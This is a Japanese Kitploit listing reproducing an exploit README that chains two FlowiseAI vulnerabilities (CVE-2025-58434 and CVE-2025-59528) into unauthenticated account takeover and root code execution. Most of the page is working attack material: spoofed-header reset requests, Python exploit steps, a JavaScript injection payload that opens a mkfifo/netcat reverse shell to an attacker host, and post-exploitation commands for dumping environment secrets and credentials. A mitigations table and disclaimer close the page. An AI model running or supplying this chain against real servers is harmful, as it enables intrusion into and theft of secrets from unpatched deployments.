Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
FlowiseAI-Critical-KillChain — FlowiseAIにおける認証不要のキルチェーンが完全なRCEに至る重大な脆弱性(CVE-2025-58434 + CVE-2025-59528) | Kitploit
ツール/GitHubGitHub/cveteam/flowiseai-critical-killchain
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証学習と教育レッドチーミングペイロード開発

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
cveteam/flowiseai-critical-killchain

FlowiseAI-Critical-KillChain

FlowiseAIにおける認証不要のキルチェーンが完全なRCEに至る重大な脆弱性(CVE-2025-58434 + CVE-2025-59528)

リポジトリを見る
14ヶ月前未レビュー

FlowiseAI — 重大なキルチェーン

FlowiseAI <= 3.0.5 に対する、認証なしのアカウント乗っ取りとリモートコード実行の連鎖。
5秒未満での完全なコンテナ侵害、認証情報不要。


キルチェーン

FlowiseAIキルチェーン図
左: FlowiseAI ログインページ — 右: CVE-2025-59528 による root シェル · uid=0(root)


目次

  • 動作の仕組み — 概要
  • 脆弱性の詳細
    • CVE-2025-58434 — トークン開示
    • CVE-2025-59528 — リモートコード実行
  • この連鎖が致命的な理由
  • エクスプロイトコードの解説
  • 使用方法
  • 攻撃後の活動
  • 対策
  • 参考文献

動作の仕組み — 概要

このエクスプロイトは、2つの独立した重大な脆弱性を単一の完全自動化攻撃に連鎖させます。どちらか一方の脆弱性だけでは完全な侵害は保証されませんが、一緒になることで、認証情報ゼロからDockerコンテナ内のrootシェルに至る完全なキルチェーンを形成します。

root@kitploit:~
[No credentials]
      │
      ▼
① Abuse forgot-password endpoint (no auth required)
      │  → Server responds with the victim's reset token in plaintext
      ▼
② Submit token to reset-password endpoint
      │  → Attacker controls the admin password
      ▼
③ Login + retrieve Bearer API key
      │  → Full authenticated session established
      ▼
④ Send JavaScript payload via customMCP node
      │  → Server evaluates it via Function() constructor
      ▼
[Root shell inside Docker container]

ゼロインタラクションの理由: 被害者はメールを受け取ったり、ログインアラートを見たり、目に見えるイベントをトリガーしたりすることは一切ありません。攻撃は完全にサーバーサイドで行われます。


脆弱性の詳細

CVE-2025-58434 — 認証なしパスワードリセットトークンの開示

CVSS 3.1: 9.8 致命的 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響を受けるバージョン: FlowiseAI <= 3.0.5 (クラウド + セルフホステッド)
アドバイザリ: GHSA-wgpv-6j63-x5ph

根本原因

FlowiseAIには、「内部」リクエストという概念があります。これは、自身のサービス間で行われるAPI呼び出しであり、x-request-from: internal HTTPヘッダーで識別されます。/api/v1/account/forgot-passwordエンドポイントはこのヘッダーを使用して、認証を完全にスキップし、外部からの呼び出しの場合とは異なる、より詳細なレスポンスを返します。

問題は、このヘッダーは一切検証も制限もされていないことです。インターネット上の攻撃者は誰でもこれを送信できます。送信すると、パスワードリセットメールをトリガーする代わりに、APIは完全なユーザーレコードを応答します。これには、新しいパスワードを設定するためにすぐに使用できる有効なtempTokenが含まれています。

なぜ機能するのか

通常、パスワードリセットの流れは次のようになります:

root@kitploit:~
User requests reset → Server generates token → Token sent by EMAIL → User clicks link → Password changed

ここでは、サーバーはメールのステップを完全にスキップし、トークンをHTTPレスポンスのボディに直接配置します。攻撃者はそれを捕捉し、リセットステップに直接進みます。メールへのアクセスは不要です。

リクエスト

root@kitploit:~
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal

{"user": {"email": "[email protected]"}}

レスポンス 201 — 完全なユーザーレコードが露出

root@kitploit:~
{
  "user": {
    "email": "[email protected]",
    "credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
    "tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
    "tokenExpiry": "2026-04-11T21:37:03.063Z",
    "status": "active"
  }
}

その後、tempTokenはリセットエンドポイントに直接送信されます。メールのやり取り、CAPTCHA、レート制限は一切ありません。


CVE-2025-59528 — CustomMCPノードを介したリモートコード実行

CVSS 3.1: 10.0 致命的 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
影響を受けるバージョン: FlowiseAI <= 3.0.5
アドバイザリ: GHSA-3gcm-f6qx-ff7p

根本原因

FlowiseAIでは、ユーザーがサーバー設定をJSON文字列として提供してカスタムMCP(Model Context Protocol)ノードを定義できます。内部では、プラットフォームはこの設定を解析する必要がありますが、JavaScriptのFunction()コンストラクタを使用してそれを行います。これは機能的にeval()と同等です。

設定文字列は完全にサニタイズされずにシンクに到達します:

root@kitploit:~
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
//                       ↑ unsanitized user input — arbitrary JS execution

Function()がeval()と同様に危険な理由

Function('return ' + code)()は以下のことを行います:

  1. codeを本体とする新しいJavaScript関数を構築
  2. 即座にそれを実行
  3. 結果を返す

これにより、攻撃者はprocess、require、child_process、およびNode.jsランタイム全体にアクセスできる完全なJavaScript実行コンテキストを手に入れます。サンドボックスではありません。

汚染フロー — HTTPからシェルへ

root@kitploit:~
HTTP POST /api/v1/node-load-method/customMCP
  └─ body.inputs.mcpServerConfig                  ← attacker-controlled string
       └─ substituteVariablesInString()            ← no filtering, passes through
            └─ convertToValidJSONString()          ← no filtering, passes through
                 └─ Function('return ' + input)()  ← arbitrary code executes here

インジェクションペイロード

root@kitploit:~
({x:(function(){
  const cp = process.mainModule.require("child_process");
  cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
  return 1;
})()})

なぜmkfifoで/dev/tcpではないのか?
コンテナは/bin/shで動作し、/bin/bashではありません。/dev/tcpはbashのみの機能であり、標準のPOSIXシェルには存在しません。mkfifoは名前付きパイプを作成し、POSIX準拠のシェルで動作するため、リバースシェルをコンテナ環境間で移植可能にします。


この連鎖が致命的な理由


エクスプロイトコードの解説

エクスプロイトは4つの連続したステップで構成されており、それぞれがキルチェーンのフェーズに直接対応しています。

ステップ1 — トークン収穫 (CVE-2025-58434)

root@kitploit:~
r1 = session.post(
    f"{TARGET}/api/v1/account/forgot-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]

何が起こるか: サーバーはx-request-from: internalヘッダーにより、これが内部のサービス間呼び出しであると認識します。通常のメール送信パスをスキップし、完全なユーザーレコード(有効なパスワードリセットトークンを含む)をHTTPの201レスポンスボディに直接返します。

なぜ機能するか: ヘッダーチェックは純粋に文字列ベースであり、暗号検証はありません。どんな呼び出し元でも設定できます。バックエンドはリクエストの発信元を検証しません。


ステップ2 — アカウント乗っ取り

root@kitploit:~
session.post(
    f"{TARGET}/api/v1/account/reset-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)

何が起こるか: 盗まれたtempTokenが、攻撃者が選択した新しいパスワードとともに送信されます。サーバーはトークンを検証し(実際に存在し有効です)、メールが一致することを確認し、認証情報ハッシュを更新します。メール確認や二次チェックはありません。

なぜ機能するか: トークンの検証は、トークンが存在し有効期限が切れていないことだけを確認します。トークンを生成した呼び出し元とリセットを送信する呼び出し元が同一であるかどうかは検証されません。所有権は決して確認されません。


ステップ3 — セッション+APIキーの抽出

root@kitploit:~
# Login with the newly set password
session.post(f"{TARGET}/api/v1/auth/login",
    json={"email": EMAIL, "password": NEW_PASS})

# Fetch the Bearer API key needed for the RCE endpoint
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]

何が起こるか: 攻撃者の新しいパスワードでの通常のログインにより、完全な管理者セッション(クッキーベース)が確立されます。その後、そのセッションを使用してプラットフォームのデフォルトAPIキーを取得します。これはステップ4で使用するnode-load-methodエンドポイントへのリクエストを認証するために必要です。

なぜ機能するか: この時点で攻撃者は管理者です。認証情報を所有しています。セッションとAPIキーはサーバーによって正当に発行されます。


ステップ4 — リモートコード実行 (CVE-2025-59528)

root@kitploit:~
js_payload = (
    '({x:(function(){const cp = process.mainModule.require("child_process"); '
    f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
    f"{TARGET}/api/v1/node-load-method/customMCP",
    headers={"Authorization": f"Bearer {api_key}"},
    json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)

何が起こるか: ペイロードは、JSON互換オブジェクトに偽装した自己実行型JavaScript関数(IIFE)です。convertToValidJSONString()がそれを処理すると、その値はFunction('return ' + input)()の中に配置されます。これにより、完全なNode.jsランタイムアクセスを持つ生のJavaScriptとして実行されます。child_process.exec()がリバースシェルコマンドを発火し、攻撃者のリスナーへの接続を確立します。

なぜIIFEラッパーなのか? Function('return ' + x)パターンは、式が戻り値として使用可能であることを期待します。悪意のあるコードを({x: (function(){ ... })()})でラップすると、式全体がオブジェクトに評価される有効なJavaScriptになります。これによりパーサーを満足させつつ、副作用としてペイロードを実行します。

なぜnohup+disownなのか? HTTPリクエストにはタイムアウトがあります。プロセスを切り離さないと、リクエストがタイムアウトしたときにシェルが終了します。nohup+disownはリバースシェルをNode.jsプロセスから切り離し、独立して生存させます。


使用方法

root@kitploit:~
# 1. Start your listener first
nc -lvnp 4444

# 2. Run the full kill chain
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444

# 3. If the admin password was already reset in a prior attempt
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset

引数

必要条件

root@kitploit:~
pip install requests

攻撃後の活動

シェルが取得されると、コンテナは通常rootとして実行され、FlowiseAIアプリケーション環境全体にアクセスできます:

root@kitploit:~
# Secrets and credentials
env                       # API keys, DB URIs, service credentials in environment vars
cat .env                  # FlowiseAI config file — database passwords, JWT secrets

# Application internals
ls /app/packages/         # Monorepo structure — source code, configs, node_modules
cat /app/packages/server/.env

# Container context
cat /proc/1/cmdline       # What process is PID 1 — confirms container environment
hostname                  # Container ID
cat /etc/hosts            # Internal network map — other services reachable

# Lateral movement candidates
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"

対策


参考文献

  • FlowiseAI セキュリティアドバイザリ — CVE-2025-58434
  • FlowiseAI セキュリティアドバイザリ — CVE-2025-59528
  • NVD — CVE-2025-58434
  • NVD — CVE-2025-59528
  • OWASP: 脆弱なパスワード変更またはリセット機能のテスト
  • CWE-94: コード生成の制御不適切

免責事項

このリポジトリおよび関連するすべてのコードは、教育目的および許可されたセキュリティ研究目的のみで公開されています。

両方の脆弱性は公に開示されており、FlowiseAI 3.0.6 以降で修正されています。自分が所有していないシステム、または明示的な書面による許可を得ずに評価することは、適用される法律(米国コンピュータ詐欺および悪用取締法 (CFAA)、英国コンピュータ不正使用法、EU NIS2指令など、ただしこれらに限定されない)の下で違法となります。

著者は、この資料の誤用に起因するいかなる損害についても責任を負いません。


0H4K3D · CVE Team

ツールをダウンロード
プロパティ詳細
認証情報不要攻撃者はターゲットIP以外何も持たずに開始します
被害者の操作不要フィッシング、クリック、ソーシャルエンジニアリングはありません
レート制限なしリセットエンドポイントにスロットリングがなく、必要ならブルートフォース可能
CAPTCHAなしリセットフローに人間による検証がありません
メール確認なしパスワード変更は即座に行われ、無音で、元に戻せません
RCEにおける完全なNode.jsランタイムchild_process、ファイルシステム、ネットワーク — サンドボックスなし
Docker内でrootとして実行コンテナは通常rootとして起動され、完全なファイルシステムアクセス
クラウド+セルフホステッドに影響<= 3.0.5 のすべてのデプロイメントが脆弱
フラグ説明必須
-ipターゲットIPアドレス✅
-lhostリバースシェルコールバック用のあなたのIP✅
-lportリスニングポート✅
--skipresetCVE-2025-58434(フェーズ1および2)をスキップ — アカウントが既に侵害されている場合に使用❌
修正優先度
FlowiseAI ≥ 3.0.6 にアップグレード🔴 即時
リバースプロキシでx-request-from: internalをブロック — インターネットから来るべきではありません🔴 即時
/api/v1/account/* を認証済みセッションのみに制限🔴 即時
mcpServerConfig をサニタイズ — ユーザー入力を Function() や eval() に渡さない🔴 即時
すべてのパスワードリセットエンドポイントにレート制限とCAPTCHAを追加🔴 即時
パブリック公開が不要な場合はFlowiseAIインスタンスをインターネットから隔離🟠 高
コンテナを非rootユーザーとして実行🟠 高
パスワードリセットおよびMCPエンドポイントに異常検知を有効化🟡 中
x-request-from を受け入れるすべてのエンドポイントを監査し、外部から呼び出せないことを確認🟡 中